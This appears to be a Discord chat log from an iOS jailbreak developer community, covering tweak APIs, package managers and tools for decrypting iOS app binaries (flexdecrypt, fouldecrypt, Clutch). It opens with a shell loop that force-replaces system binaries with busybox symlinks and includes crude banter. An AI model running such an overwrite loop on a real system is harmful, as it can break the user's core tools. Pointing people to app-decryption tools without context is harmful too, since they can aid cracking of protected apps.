# Replace coreutils with their busybox equivalents
busybox --list > busybox-programs
while IFS="" read -r p || [ -n "$p" ]; do
    if [ -z $(which "$p") ]; then 
        ln -s /usr/bin/busybox /usr/bin/$p
        continue 
    fi
    ln -sf /usr/bin/busybox $(which "$p") 
done < busybox-programs

screw coreutils trol

indigo peak
#

funny

#

you could technically remake mobius by observing NSNotifications that are sent with controlling the pagination of the homescreen?

hardy glen
#

I could technically remake you by sending NSNotifications to your moms iphone

vivid dew
hardy glen
#

frcoal one of the dumbest interactions i have ever seen lmao

twilit jungle
restive ether
#

holy fuck lmaoooo

swift plinth
#

zebra

gentle grove
#

bruh

lime pivot
hardy glen
#

what’s the best way to get app icon with bundle ID. Is using applist the recommended way

#

Chariz customers are signing up instead of signing in

untold river
#

if anything 100% works with zebra, it's chariz

#

~~maybe because the maintainer for both is the same Clueless ~~

lime pivot
untold river
lime pivot
#

it is the primary package manager I test with especially because authentication in Cydia remains a horrible hack

#

(and I know Sileo should work roughly the same)

ocean raptor
vivid dew
#

wtf

untold river
#

wtf

ocean raptor
#
@interface UIImage (Private)
+ (instancetype)_applicationIconImageForBundleIdentifier:(NSString*)bundleIdentifier format:(int)format scale:(CGFloat)scale;
@end
lyric trail
#

So I understand the concept, but I am not sure how to code it since I am not that smart. I need to use AVAsset to get the URL/path of a cached video/image file. but thats where I get lost. Could anyone give me a hint?

silver rampart
#

do these still work?:
https://github.com/KJCracks/Clutch
https://github.com/stefanesser/dumpdecrypted

also, what's the currently recommended tool for this?

GitHub

Fast iOS executable dumper. Contribute to KJCracks/Clutch development by creating an account on GitHub.

GitHub

Dumps decrypted mach-o files from encrypted iPhone applications from memory to disk. This tool is necessary for security researchers to be able to look under the hood of encryption. - GitHub - stef...

ocean raptor
#

Flexdecrypt

faint timber
#

Brings back memories

#

But yes we all use flexdecrypt now because it doesn’t require app launch

ocean raptor
silver rampart
restive ether
#

not sure if it works though

silver rampart
#

this particular repo has been replaced with a 'deprecated' notice for the last 6 years

silver rampart
silver rampart
#

it has its own section

#

added it outside of all the other sections bc it does all of them

restive ether
#

ah

faint lionBOT
#
fouldecrypt

Directly decrypt binaries like flexdecrypt, but also supports iOS 14

Author

misty

Version

0.0.3

Price

Free

Repo
More Info
restive ether
#

here’s another one i guess, no idea if it works

#

looks promising though

silver rampart
#

^ if someone wants to test that

restive ether
#

@ocean raptor your turn big guy

silver rampart
#

although its kind of a silly page, honestly

restive ether
#

ah yes a harassment directory

silver rampart
#

main page needs redone so badly

#

trainwreck trying to find where any information is on this page

ocean raptor
silver rampart
ocean raptor
#

I don't know how

vivid dew
#

no, recursive functions are recursive functions

ocean raptor
#

defaults has recursive funcs